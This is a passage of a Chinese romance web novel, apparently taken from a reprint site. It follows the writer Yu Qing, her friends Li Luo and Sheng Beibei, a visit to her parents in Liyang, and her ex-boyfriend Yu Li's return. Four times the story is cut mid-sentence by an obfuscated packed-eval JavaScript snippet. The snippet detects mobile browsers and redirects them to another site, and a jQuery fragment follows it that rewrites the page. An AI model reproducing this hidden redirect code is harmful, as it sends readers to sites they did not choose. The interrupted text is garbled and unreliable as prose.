“还好。”她笑了,“习惯就好了,你找我干什么呀?” “你胆子那么小,别看了。”庾礼说。 胆子小归胆子小,余晴总归还是好奇,她丢下一句“没事”又转了回去,和同桌一边吃零食一边看。 没有余晴想象中的吓人,她反而看得还挺津津有味的。 情节的确让她印象深刻,让她在八年后都能再次想起来一些画面。 不过后来呢?看完电影之后呢? 余晴坐在床上,脑袋发懵,连门口站了个人都没发觉。 “醒了?起来吃饭。”李落戴着围裙靠在门框边,“你也真是够能睡的。” 余晴揉着眼睛下床:“我怎么不记得我昨晚什么时候睡着的了?” 李落的视线跟随着她进浴室,脸上露出一言难尽的表情。 昨晚她一直安安静静地坐在沙发上,李落还以为她睡着了,结果她突然冷不丁来了一句:“没事。” 两个字给还在看恐怖片的李落吓得起一身鸡皮疙瘩。什么没事?谁在问她? 李落拍她,她也不说话,感觉的确像是睡着了。 她很瘦,但李落也瘦,抱不动她,只能让她在沙发上睡,给她盖了个毯子。结果早上起来发现她又不知道什么时候自己回了房间。 “昨晚睡得好吗?”她问余晴。 “还行。”余晴一边刷牙一边看她,“你今天没拍摄吗?” 李落是平面模特,收入不太稳定但有活的话也能保证一个月不愁吃穿,不像余晴,纯倒贴在工作。 “明天有。”李落回答,“今天要不要出去玩?” “不去。”余晴摇头,“我要写小说,没存稿了。” 李落欲言又止,被余晴给瞪了一眼。 “没人看也要写完,起码得保证坑品好不好。” 她抿唇,试图安慰:“其实也是有人看的。” 余晴笑出声,把嘴里泡沫吐掉后说:“也就你和蓓蓓,还有我妈。” 李落从来不看网络小说,下勾勾文学城都是给她面子,点个收藏就不错了。 盛蓓蓓会看,但是她忙得很,余晴的第一本书完结了她还在和余晴聊第三章的事。 她唯一的忠实读者就是沈意琴女士。 提到沈意琴,余晴突然发现自己也有好一阵子没回家了。 她坐到餐桌边,看向李落:“欸,今天要不要跟我一块回沥阳?小说回家也能写。” 沥阳是沥州的下属县,余晴的老家。余永义和沈意琴退休之后都住沥阳的自建房里。 李落和盛蓓蓓堪称是余家二宝三宝,只要她们俩有人愿意去,家里永远有好吃好喝的招待。 “可以啊。”李落笑着说,“我要发朋友圈气死盛蓓蓓。” 余晴吃着三明治,腿在桌底下晃,餍足地笑:“她最近怎么不来沥州了?在忙集团的事?” “对啊。”李落起身,去收拾包,“晚上过夜吗?我明天下午的拍摄,早上再开车回来也行。” 余晴摸出手机给沈意琴发消息通知余家大宝二宝要回去了,头也没抬:“过夜吧,你陪老太喝点。” 两个人收拾得很快,背上包就往车库走。 车是普通的黑色四轮小轿车,车标四个圈,是半年前她从京州回来,余永义送她的礼物。 从沥州市区开到沥阳差不多一个小时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669900|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余晴稳稳当当地开车,李落坐在副驾驶疯狂切歌。 “蓝牙惹你了?”余晴好笑地看她一眼,“到底要听什么?” 李落也累了,随手放了个playlist,没想到第一首就是两个人都熟悉的歌。 她又想伸手去切,余晴制止了她:“就听这首吧。” 这首歌时长很长,4分56秒,放完的时候余晴手机也正好响起来。 李落把车载蓝牙换成了余晴手机,帮她接了起来。 车内响起任祺的声音:“晴姐,下午好,这两天有空吗要不要出来玩?” 余晴现在才发现今天居然是周六,她有些疑惑:“你的宝贵周末居然有空跟我一起玩?不和纪川序约会了啊?” 李落没憋着,直接笑出声,被那头的任祺听见:“是蓓蓓姐吗?” 李落在车里竖起一个隔空中指。 她还没想好回击的话,又听到那边有一个男声低声说了一句:“蓓蓓姐?盛蓓蓓吗?” 有点耳熟又不太熟,李落以为是任祺的那个同居好友,但转念一想,纪川序应该不认识盛蓓蓓,那么就只有一个人。 “庾礼?”李落冷声,“你回国了?” 余晴目不斜视地认真开车,没在意李落问出的这句废话。 那头的任祺和庾礼却都愣了下,任祺很快反应过来:“落姐,下午好,学长昨天刚回国。” “哦。”李落冷笑一声,“英国好玩吗?” “一般。”庾礼回答。 “怎么突然回国了?那里容不下你?你家呢?你爸妈呢?你不回自己家赖在任祺那里干什么?” 李落跟放鞭炮一样噼里啪啦输出,搞得这头和那头都陷入沉默。 她一直都不好惹,庾礼在高中的时候就知道这件事。 这些问题他一个也不想回答,只靠在沙发上看向任祺。 命苦的任祺尴尬打圆场:“落姐,不然你们过来当面问?” 余晴空出右手捏了一下李落搭在腿上的左手,笑着安抚她,接过任祺的话:“这周末没空,我和李落今天回沥阳,明天你落姐有工作。” 李落右手肘靠在窗边撑着自己的头,冷哼一声没再继续说。 “回去陪沈姨吗?替我和沈姨打个招呼!”任祺终于找到挂电话的由头,“晴姐那你们现在是在路上吧,开车小心,我先挂了,拜!” 任祺火速挂了电话,看向单人沙发上的庾礼。 要不是他说他有限量版手办可以送给自己,任祺怎么都不想帮他打这个电话。 纪川序就坐在一旁吃炒面,安静地听完全程,电话挂断了他面也吃完了,擦干净嘴才开口:“所以你这是想和余晴姐复合啊?” 庾礼没回答,转着手机玩,屏幕在他的动作间明明灭灭,任祺眼尖地看到他的屏保是余晴的照片。 十八岁的余晴的照片。 任祺不发言,庾礼第一次听到他的名字就是在余晴嘴里,他的存在就是他的立场。 纪川序作为什么都不知道的中间人,脑子缺的又不止一根筋,想到什么就说什么。 “你们分手这么多年都没再见过吗?” “为什么分手啊?你提的还是她提的?” 庾礼盯着自己的手机屏保看了一会儿,才选择性地回答了问题。 “见过。” 任祺皱眉:“晴姐没去过英国。” 是的,所以她没有再见过他。 但他见过她,不止一次。 5. 回家 余晴的大二暑期,被盛蓓蓓抓去陪同旅行。 盛世的大小姐想飞哪里都不是问题,余晴跟着她纯沾光。 7月8号,余晴生日当天,她们一起落地罗马菲乌米奇诺机场。 这是庾礼在离开中国后第一次见她。就在机场外,他看着余晴和盛蓓蓓一起把行李搬上车,而后她们坐进车里,离开了机场。 为了这五分钟,庾礼坐了伦敦罗马往返要5个多小时的飞机。 这件事,盛蓓蓓知道,她们的行程就是她告诉的庾礼。 在前往罗马市区的车上她也把这件事告诉了李落,但两个人都选择瞒着余晴。 他要装深情是他自己的事,没人想去找余晴的不痛快。 但李落没想到庾礼还有回国的一天,他会主动上门找不痛快。 电话已经挂断好久,余晴往右打方向盘,车子也驶入熟悉的街道,李落还阴着一张脸。 “好啦。”她开口哄她,“不是也没什么事吗?” 李落仍然不说话。 余晴把车停在路边的车位后伸手捏她根本没什么肉的脸颊:“别臭着脸了,一会我妈还以为你不高兴来这。” 李落扯起一个敷衍的笑容,伸手开了车门。 余晴紧随其后,一边翻钥匙一边跟在她身后。 门打开,一颗羽毛球精准地砸到余晴的脑门,她捂着额头抬眼,看到不远处的老头老太对着她乐:“你们回来啦。” 李落跑过去:“沈姨我陪你打!” 余永义连忙把球拍给了她:“快快快你来,我实在应付不了。” 余晴拎起李落丢在地上的包,笑着走过去:“二老今天活力满满啊。” 余永义伸手帮她拿东西,小声嘀咕:“你妈非要我陪她打,我打的她又接不住,得亏你们回来了。” 余晴换了鞋跟着他上楼,闻到一股香味,使劲闻了闻:“炸排骨?” “你妈收到你要回来的信息就去做了,刚做好没多久。”余永义笑着说,“洗个手吃点?” 余晴是小鸟胃,睡醒吃了李落做的三明治撑得不行,现在都还没消化完,但炸排骨闻起来好香,她还是洗了手坐下。 距离她上次回来已经过去将近一个月,老头老太虽然想她但是也没主动问过她什么时候回来。 她们对余晴一直都是放养,小孩长大后有自己的人生,就算是爸爸妈妈也没办法干涉什么。 余永义跟着在她身边坐下,问出了余晴意料之中的问题:“还有钱花吗?” 余晴啃排骨的动作没停:“有,别担心啦。” 余永义看着她吃东西,眼里露出一点笑:“小晴啊,老爸这边有朋友的小孩想认识认识你,你这边方便吗?” “多大啊?”余晴嗦了下手指头。 “今年马上毕业的一个男生。说是要备考公务员,知道你当初都进面试了,想来问问你。” 余晴爽快点头:“没问题啊,你把我微信推过去就行。” 余永义没有别的动作,只是看着她附加解释:“只是给朋友的小孩帮个忙,不是给你介绍对象,你一辈子都不结婚也没关系的,老爸老妈可以养你一辈子。” 还在啃排骨的余晴愣了一下,很快笑起来:“怎么每次回来都说呀?我知道的。” 老头老太从来没催过她恋爱和结婚的事,也不跟李落家里一样爱说媒,这也是李落和盛蓓蓓爱往余家跑的原因之一。 排骨她吃了几个就吃不下了,余永义去给她倒果汁,余晴去洗手,听到楼下传来噔噔噔的上楼声。 李落探进头,对着余永义打招呼:“叔,我沈姨说楼上有好吃的。” “炸排骨。”余晴从柜子里翻出手套递给她,“吃吧。” 余永义又倒了一杯果汁,放到桌上后就离开了餐厅,留下大汗淋漓的李落和吃饱喝足的余晴。 李落手套都撕开了,想到明天要拍摄又给放下,无奈地看着余晴:“盛蓓蓓说她要来,留给她吃吧。” 盛蓓蓓向来这样说一出是一出,余晴没任何意外:“那就给她留着,你过一会去洗澡吗?” 李落点头,起身离开了餐厅。 余晴跟在她身后,看到在沙发上玩手机的沈意琴,跑过去抱住她:“妈,有没想我?” 沈意琴疑惑地看她一眼:“你今天怎么没更新?” 余晴抱着她的手僵硬了一瞬:“不能啊?我定时了,下午三点发。” 她掏出手机看后台,发现定时的章节进高审被卡了,没发出去。 “没过审,过会改一下。”余晴也不着急,整个人缩到沙发上,“妈,你真是我的忠实读者,也就你一个人会看我写的东西。” 李落坐到单人沙发上,艳羡地看向余晴。 她这辈子没见过比沈意琴更好的妈,从她高一认识余晴开始,就没听过她们家里有什么纷争。 余晴在文科分科前动摇过,沈意琴说你选什么妈妈爸爸都支持你;高考填志愿前余晴问她的意见,沈意琴说选你感兴趣的就好;毕业后余晴留在京州工作,沈意琴也完全尊重她的想法,就连她突然辞职要回沥州全职写小说,沈意琴也做她的忠实读者。 完完全全的信任换来的是余晴百分百的依赖,她从小到大也什么都没瞒过,包括和庾礼恋爱这件事。 想到这里,李落扯了下唇角,对着沈意琴开口:“沈姨,你们沥州的那套房子现在多了个租客。” 余晴手抱着膝盖,幽幽地看向李落,对方冲她眨了下眼睛。 沈意琴一边剥橘子一边问:“谁啊?也是任祺的同学吗?” “是我和余晴的同学。”李落说,“阿姨你认识的,叫做庾礼。” 沈意琴剥橘子的动作停了下来,余晴转头,伸手拿过她手里的橘子,把剩下那一半的皮给剥掉,分出两瓣放到沈意琴嘴边。 沈意琴没吃,只看着她:“你和他见过了?” “嗯。”她不吃,余晴就把橘子塞自己嘴里了,被酸得一个激灵,快速把剩下的往李落手里丢。 李落看她那样就知道橘子肯定不好吃,又准备丢回去,两个人就那样在沙发上闹起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669901|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈意琴的目光移过去,从笑闹着的余晴身上回忆起高中时期的余晴。 高一下学期开学后的某天,余晴在饭桌上第一次提起庾礼,她开朗地笑:“妈,我跟你说我们学校这学期突然来了一个借读的同学,他名字叫做庾礼欸,和我的名字连起来就是于情于理,好神奇!” 高二分班后,余晴告诉沈意琴自己和那个庾礼要成为同班同学了,他的成绩也很好,余晴为自己的年级第一宝座感到担忧。 高二下学期的某天,余晴一回家就冲到厨房,大笑着抱住她,和她说:“妈妈!我恋爱了!” 那是沥州的夏天伊始,也是余晴人生中这段刻骨铭心经历的开端。 对于女儿人生中的第一段恋爱,沈意琴始终抱以祝福的态度。她去参加家长会的时候也见过余晴的这个小男友,外表出众,成绩优异,最主要的是,余晴和他待在一起的时候总是在笑。 看着不远处和李落黏在一起的余晴,沈意琴突然意识到自己当时进入了一个思维误区。 余晴从小到大都爱笑,无论身边有没有庾礼。 沈意琴又剥开一个橘子,尝过是甜的之后才又递过去,温和地开口:“小晴小落,你们晚上想吃什么?” “她明天有拍摄,今晚不能吃太多东西。”余晴把橘子塞到李落嘴里,“我都行,一会问一下蓓蓓想吃什么。” 说蓓蓓蓓蓓电话就到。余晴接起来开了公放,女生笑着打招呼:“坦坦~我在路上咯,过一个小时就到啦。” 余晴笑着:“好哦,慢慢开。还有就是我妈问你晚上想吃什么。” “我准备点蘭荟园的外卖,你们吃吗?” 蘭荟园是盛蓓蓓开在沥州的私房菜馆,菜单是她们三个人一起定的,全都是她们自己爱吃的。 蘭荟园的配送正常也只限沥州市区,也就只有盛蓓蓓这个老板可以让人送到沥阳来。 看到沈意琴点头,余晴才回答:“好呀,那就吃这个,我妈我爸也不用做饭了。” 盛蓓蓓还在开车,余晴没多废话就把电话挂了。 李落窝在沙发里看明天的拍摄细则,余晴抱着电脑去了书房,准备改一下章节再码点字。 沈意琴端着饮料和一碟蓝莓走进来,把东西放到桌面后坐到书房的小沙发上,没有打扰她。 刚刚在客厅,沈意琴刻意略过了庾礼的话题,但余晴知道她其实还有话想说。 只是等到余晴码完一章之后,沈意琴还是没有开口的意思,专注地在沙发上看书。 余晴保存好文档,起身走向她。 书房的小沙发只能容下一个人,余晴蹲下身,靠在她的腿边,甜甜地笑:“妈妈,你想和我说什么呢?” 沈意琴看着她,久久不说话,只是用手摩挲着她的耳垂。 余晴握着她的手,轻声开口:“平常我也不会去任祺那边的,不会再碰到他了。” 沈意琴的手从耳垂移到脸颊,余晴歪头蹭了蹭她有些粗糙的掌心,终于听到妈妈开口。 “别让他再伤害你,好不好?” 6. 原谅 盛蓓蓓在傍晚的时候才到家。 那时李落在二楼的窗台帮沈意琴给绿植浇水,听到不远处的轰鸣声就对着屋内喊:“大小姐要到了。” 大小姐有着绝佳的开车天赋,侧方停得顺畅又漂亮,熄了火后火速下车,在街边大喊:“我来啦!” 余晴下去接她,被盛蓓蓓又抱了个满怀。 她在余晴颈边哼哼唧唧地撒娇:“坦坦,你和李落回沥阳怎么能丢下我呢?” “她说你最近在忙呀。”余晴拍拍她,“盛总不是不让你乱跑吗?” 盛蓓蓓挽着她往里走:“最近的确挺忙,不过我答应了我妈的一个要求,她这周末就给我放假了。” 具体什么要求,盛蓓蓓不主动说就说明不方便说,余晴也没追问,只笑着点头:“放假了就好。” 她和李落在这里都有专属拖鞋,换完之后啪嗒啪嗒往上跑,李落靠在门边看她:“你又换车了?” “哦,前阵子谈下来一个项目,我找我妈要的。”盛蓓蓓把车钥匙丢给她,“柯尼塞格开起来也就那样,但是还挺装的,难怪人家写小说都写这个牌子。” 她坐到餐桌边,一边拆一次性手套一边笑:“坦坦你要不要去试试?” 余晴摇头,给她倒饮料的同时询问:“你开跑车上高速不累死了?” 李落坐到盛蓓蓓对面,凉凉地笑:“装x的代价。” 盛蓓蓓扭头看了一眼余晴,确保她看不见之后朝着李落竖起一个中指。 她手上是新做的美甲,中指竖起来也亮晶晶的。 李落撑着脸冷笑,竖回去一个。 盛蓓蓓当即拍桌告状:“坦坦,李落又欺负我。” 余晴扭头的时候就看到李落还来不及收回去的手指头,她失笑:“那你欺负回去。” 今天晚上她们三个还得一起睡觉,盛蓓蓓见好就收,不然等睡着了李落肯定得把她踹下去。 她吃完剩下的炸排骨后摘掉手套,对着李落做了个鬼脸,丢下一句“我去找沈姨打个招呼”就往房间里走。 盛蓓蓓人美声甜,特别会讨沈意琴欢心,等她进去陪着把人哄开心了之后蘭荟园的外卖也到了。 一桌五个人热热闹闹地把晚饭给吃完,余永义习惯饭后散步,吃完就独自拎着垃圾出门了。 沈意琴看今天家里那么热闹,就把红酒给拿了出来。李落和盛蓓蓓简单收拾了一下后就陪着她喝酒,留下酒精过敏的余晴独自在书房里奋战。 盛蓓蓓酒量奇差,喝了两杯脸就通红,她抱着沈意琴的胳膊不撒手:“沈姨,你要是我亲妈就好了。” 沈意琴好笑地看着她:“你亲妈可是贵溪最富有的女人,当我女儿你就不是大小姐了。” 盛蓓蓓眼睛通红,看起来下一秒就要流泪。 她瘪着嘴,委屈地说:“我妈要我去相亲。” 七个字像炸弹一样在客厅炸开,李落不可置信地扭头看她:“你妈要你去相亲?怎么可能?” 怎么可能?盛蓓蓓也想问这四个字,但它就是发生了。 而这就是她这周末能离开集团来找余晴玩而和盛黎交换的条件。不止这周末,下周末,下下周末,她只要想就能来找余晴。 盛蓓蓓松开沈意琴的胳膊,整个人缩在沙发上,手臂环抱着膝盖,朝关着门的书房看了一眼,提出了一个要求:“可以不要告诉坦坦吗?” 李落复杂地望向她,勉强地点了下头。 沈意琴安抚地摸了摸她的头发,像在顺一只小猫的毛。盛蓓蓓自然地靠过去,享受着来自女性长辈的爱抚。 盛黎从来都没有这样触碰过她。 她有点困了,又或者是有点醉了,倒在沙发里迷迷糊糊地讲胡话。 等余晴从书房里出来的时候,只看到盛蓓蓓躺在李落腿上的场景。 “沈姨洗澡去了。”李落朝她招手,“你来替我一下,我去外面抽烟。” 盛蓓蓓喝多了就抱着人不放,余晴连忙过去,让她靠在自己身上。 盛蓓蓓像狗一样从她右肩膀闻到左肩膀,而后抬头笑着看她:“坦坦。” 坦坦。一个听起来有点奇怪的昵称,是盛蓓蓓对余晴的专属称呼。 高一下的期末大考,余晴是年级第一,要上年级大榜。年级大榜显示年级前十的姓名、照片、班级以及一句话。什么话都可以,座右铭、祝福或者是寄语。 余晴只写了三个词,那是大家对她的评价。 坦荡、坦诚、坦然。 盛蓓蓓负责年级大榜的张贴工作,她对齐横竖,确保平整,对着余晴的照片拍了一张后站在那里久久地出神。 从那以后,她都喊余晴坦坦,并且蛮横地要求其他人都不能这么喊,连李落都不可以。 余晴像沈意琴一样摸她的头发。 盛蓓蓓喜欢折腾自己的头发,烫染是家常便饭,但她的头发摸起来还是那样柔顺。有钱人家的小孩连发质都更加好,余晴爱不释手。 盛蓓蓓凑到她耳边,灼热的呼吸让她不得不集中注意力听她说的话。 “坦坦,你一定会成为一个大作家。”她说。 余晴笑弯了眼:“谢谢蓓蓓,借你吉言。” 盛蓓蓓没管她说的话,自顾自地往下说:“坦坦,你能原谅我吗?” 余晴抚摸的动作停顿了一下。 一模一样的话,余晴在很多年前也听过。 高三的盛蓓蓓换了最新款的iPhone,她把新手机给李落和余晴玩,然后被李落发现庾礼在她的社交软件里是特别关心,虽然点进去之后两个人的聊天记录没有任何的问题。 那个时候庾礼和余晴已经成为了男女朋友。 李落和盛蓓蓓从成为朋友以来就总是闹矛盾,但那都是小打小闹,这一次是她们认识这段时间第一次正式的吵架。 李落问她到底想要干什么,为什么对朋友的男朋友这样关心。 盛蓓蓓被吓哭了,她抓着余晴的手,问她:“坦坦,你能原谅我吗?” 盛蓓蓓是盛世大小姐,一个集团大小姐放着好好的国际学校不上来上普高本就是稀罕事。又因为她天生的嗓音问题而导致很多人并不喜欢她。盛蓓蓓在刚开学那段时间总是独来独往。 她们的友谊开始得很突然也很自然。盛蓓蓓在食堂独自一人吃午餐的时候,李落和余晴坐到了她的身旁,李落看了眼她的餐盘,笑着说:“余晴,这个世界上居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669902|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然还有吃得比你还少的人。” 余晴认真地看了盛蓓蓓的餐盘,也笑了:“因为食堂难吃啊。” 盛蓓蓓整个人都在颤抖,余晴就坐在她的旁边,因为看她的餐盘而转过头来,她闻到她头发的香气。 她们两个人吃得很快,在离开之前,余晴看向盛蓓蓓,轻声道:“蓓蓓,你想不想吃烤肠?” 盛蓓蓓不爱吃这种东西,但她还是点头了,看着余晴的饭卡在小卖部的机子上刷走三根烤肠的钱。 “滴”的一声,那是盛蓓蓓在孤立无援的处境里被抢救的声音。 她不能失去余晴,却又真实地做了可能会伤害到她的事情。 但余晴在那个时候始终冷静,她擦掉了盛蓓蓓流下的眼泪,和她说:“不要再这样了,好吗?” 不要再哪样?不要再和李落吵架?不要再这样关注庾礼?还是不要再和她说出这种话? 盛蓓蓓一个都没做到,但余晴却仍然陪在她身边。 感受着她身上的酒气,余晴仍然温和地看向她:“原谅什么?” 盛蓓蓓把脸埋在自己手臂里,没有回答。 她不说,余晴也猜得出来:“还是和庾礼有关系,对不对?” 盛蓓蓓终于有点动静,她抬起头,迷离地看向余晴:“你还喜欢他吗?” “不喜欢。”余晴伸手摸了摸她的脸颊,“你想做什么都没关系,不用来征求我的谅解。” “他很喜欢你。”盛蓓蓓完全没听余晴的话,自顾自地往下讲,“他从来都没有忘记你,他回国是因为知道你从京州回来了。” 余晴沉默地靠在沙发上,没有回应。 盛蓓蓓又靠在她的肩膀上,说出自己的要求:“如果你们复合,你要第一个告诉我,好吗?” “这对我很重要,真的很重要。” 是谁重要?余晴侧头看着她的发顶,还是没有说话。 阳台门在这个时候被推开,余晴转头看过去,对上李落的眼神。 “蓓蓓刚刚和你们说什么了?”她直接问。 李落不知道盛蓓蓓和余晴说了什么,但她知道自己要替盛蓓蓓保守秘密。 这么多年,盛蓓蓓身上仍然有着作为至亲好友的她们都不了解的谜题。 “没说什么。”李落走了进来,“她酒量又不好,没喝几口就晕晕乎乎了。” 余晴轻轻地拍她的肩头:“蓓蓓,回床上睡吧。” 盛蓓蓓像收到指令的机器人一样抬起了头,默不作声地穿上拖鞋,往余晴的房间走。 李落和余晴跟在她身后,看着她直挺挺地倒在床上。 “我先去洗澡,你看着她。”说完,余晴就往浴室走。 房间的灯没开,李落坐到床边,把盛蓓蓓往里面推,随手把被子给她盖上。 浴室的水声很模糊,没能盖住盛蓓蓓埋在被子里的抽泣声。 等到余晴出来的时候,盛蓓蓓已经因为缺氧而沉沉地睡了过去,余晴用手背抹去她未干的泪水。 担心她晚上掉下去,余晴和李落一左一右睡在她身侧。 两个人都没睡着,所以也都听见了盛蓓蓓说出的梦话。 她说:“对不起。” 7. 都好 周天早上,余晴是被李落叫醒的。 她下午有拍摄,她们不能在沥阳待太久,吃过早饭就得回去。 盛蓓蓓已经没有昨晚那可怜兮兮的样子,正在客厅和沈意琴一起讨论余晴第一本书的故事内容。 大家看起来都开心那么余晴也开心,吃过早饭她开开心心地和爸爸妈妈说了再见,把车钥匙丢给了李落,让她开回去,自己在副驾驶k歌。 李落从后视镜里抬眼,无语地看向窝在后排的盛蓓蓓:“你干嘛不开自己的车回去?” “开跑车上高速好累哦。”盛蓓蓓又撒娇,“助理过来开走了,我就蹭蹭你们的车呗。” 余晴扭头看了一眼盛蓓蓓踢掉的鞋子,播放了一首《红色高跟鞋》。 盛蓓蓓听到前奏就条件反射地抬起头,对着副驾驶的方位微笑。这首歌是她当年在一中元旦晚会唱过的歌,没想到余晴还记得。 李落把盛蓓蓓先送到了她在沥州的房子处,她又踩上自己早上换的红底高跟鞋,站在外面俯身道别:“开车小心,我刚点了两杯冰美送到你们家,记得取哦,拜拜。” 盛蓓蓓永远这样贴心,余晴笑着和她挥手。 没有人再提昨晚的事。 李落回家简单收拾了下就拎着自己的冰美去拍摄现场了,独留余晴一个人和狗狗这只猫在家里相依为命。 盯着电脑屏幕,余晴感觉自己似乎忘记了什么事。 直到看到手机和电脑两端都闪出任祺的消息,余晴终于想起来了。 她回沥阳也有打算问一下沈意琴关于自己高中笔记的事,结果给忘得一干二净。 在看任祺的消息之前,余晴先给沈意琴发了微信,询问了一下笔记的事后才看了一下任祺发来的消息。 他问余晴还想不想吃亿达那家人均三百的烤肉店。 余晴:就我俩吃? 任祺:我能撒谎吗? 余晴知道还有谁要和她们一起吃了。 她想起昨晚盛蓓蓓说的话,觉得这不失为一个说开的好时机。于是她答应了下来。 和前任坐在一张桌子旁边吃饭而已,反正余晴也已经干过一次了。 只是后来的整个下午她都没什么心思写文,还好也没有读者会催更,她按自己的想法慢慢写就好。 余晴躺在沙发上,一只手拿着冰已经全部化掉淡成鸟一样的美式,另一只手随意地摸着狗狗。 有点无聊的生活,但余晴在努力享受。 很多时候她也不是真的那样活力满满,她是人又不是机器人,毕业后工作的那几年她也不止一次想要流很多眼泪,但她没告诉任何人。 在这个独处的、静谧的下午,余晴在摇着头的风扇的陪伴下入睡,她落入一个香甜的午后梦境。 高考的最后一科结束,余晴收拾好东西出考场,路上碰到几个同学,都笑着和她打招呼,问她是不是能拿理科状元。 余晴坦诚地摇头:“我觉得我拿不到,不过考得也还可以。” 这个傍晚太热了,余晴出了学校就先去便利店里买饮料,一瓶茉莉蜜茶一瓶茉莉清茶。 她喝着饮料出店门,手机震动起来,是庾礼打来的电话。 “你在哪呢?”他问。 余晴想说自己在校门口的便利店,但不知道为什么她看到了不远处路口的花坛,于是她一边走一边说自己在花坛边,庾礼说好我来找你,你在那里等我。 电话挂断,余晴走到花坛边,闻到一股奇异的香味。 是什么花呢?茉莉还是百合?余晴不了解也就分辨不出来。 “余晴!” 她听到有人喊她,于是她转头,但谁也没看见。 啪嗒一声,余晴从梦里醒来,恍惚地望着天花板上像被揉皱的纸巾一样的吊灯。 这是什么梦?她和庾礼高考根本就不在一个考点。 她撑着手臂坐起来,慢慢地回神,而后发现自己把沙发上的遥控器给踹到了地上,她起身去捡,看到一地的水渍,是她睡着后松手掉到地上的冰美式,还好里面剩的也不多。 余晴随手拿过桌上的纸巾压在上面,等水吸干了再抽了两张湿巾擦地板。 狗狗乖乖地窝在沙发上看着她上上下下动作,在对上余晴眼神的时候它露出像小狗一样的表情,眼睛睁大嘴巴张开吐着舌头同时尾巴上翘。 余晴没见过这么像狗的猫,这也是当初她给这只猫起名狗狗的原因。 她抬手摸了摸它的头,从抱枕底下摸出手机,时间显示下午5点33分,通知栏里有着来自任祺的微信消息。 任祺:那家烤肉店居然要排队,我先过去取号了 任祺:晴姐你是坐地铁过来吗?亿达离最近的地铁站有些距离欸,要不要学长过去接你啊? 任祺:...学长在你们小区门口了,车牌A789Z。 最后一条消息发送于20分钟之前。 余晴保持着蹲在地上的姿势,对着最后一条消息反反复复地看。 任祺在发完这条消息后就没再有别的信息,余晴手机里也没有来自其他人的好友申请或是未接来电,但她知道自己如果走出小区门口,一定会被某辆车给按喇叭。 她给任祺回了一句“我开车过去”后就把手机扔回沙发上,回房间换了衣服后拿了车钥匙和手机出门,直接坐电梯到了地下室,把早上开回来还没歇多久的车又给开了出去。 她和李落的家跟之前自己家有些距离,都不在一个区,开车过去也要二十分钟,再碰上这个高峰期的周天傍晚,余晴在路上堵了半个多小时才把车开到商场停车库。 只有在商场停车的时候她才会想问余永义为什么没给她买电车,自从坐过盛蓓蓓那能够自动倒车入库的电车后余晴就心有所向。 她学什么都快,包括学车,当初考驾照从科一到科四她全都是满分一次过,却在自己开车后因为倒车入库这件事把车擦了两次,就在这半年间。 不远处还有车在等她倒进去,余晴忙里忙外地转着方向盘,勉勉强强地停好后拔钥匙下车,正好看到刚刚那辆车倒车入库,顺畅的一把停,跟盛蓓蓓有得一拼。 视线落到对方车面向前方的车牌,余晴表情一滞,反应很快地转身就走。 庾礼开门下车,亦步亦趋地跟在她身后,想要喊她的名字却不知道要怎么开口。 高中时期,余晴是学校有名的优等生。她漂亮开朗,明媚向上,所有人都喜欢她。班主任亲切地喊她“我们班长”,其他女生亲昵地喊她的叠字“晴晴”,李落偶尔开玩笑叫她格格,盛蓓蓓也有她的专属昵称。 身为余晴男友的庾礼一开始只喊她的全名,后来是听到余晴喊余永义“老余”,庾礼开玩笑地叫她“小鱼”。 小鱼越游越远,早就不在有他的那一方天地里。 他看着她的背影,她今天穿了一件白t和一条宽松的牛仔裤,单薄的身影却有着不甚轻松的步伐。 他还是喊了她的名字:“余晴。” 饭点的商场地下库来来往往有不少车在找着车位,余晴被在倒车的SUV拦住去路,被迫停下脚步,但她没有回头。 庾礼两步追了上来,低头看她:“任祺没和你说我去你们小区接你了吗?” 余晴点头:“说了,不过我也和任祺说我自己开车过来。” 庾礼脸上没表情,仍然看着她问:“驾照什么时候考的?你倒车倒成那样车不会擦坏?” 又都是废话。他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669903|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她的驾照是大一暑期考的,也看到她车尾灯附近的刮痕。 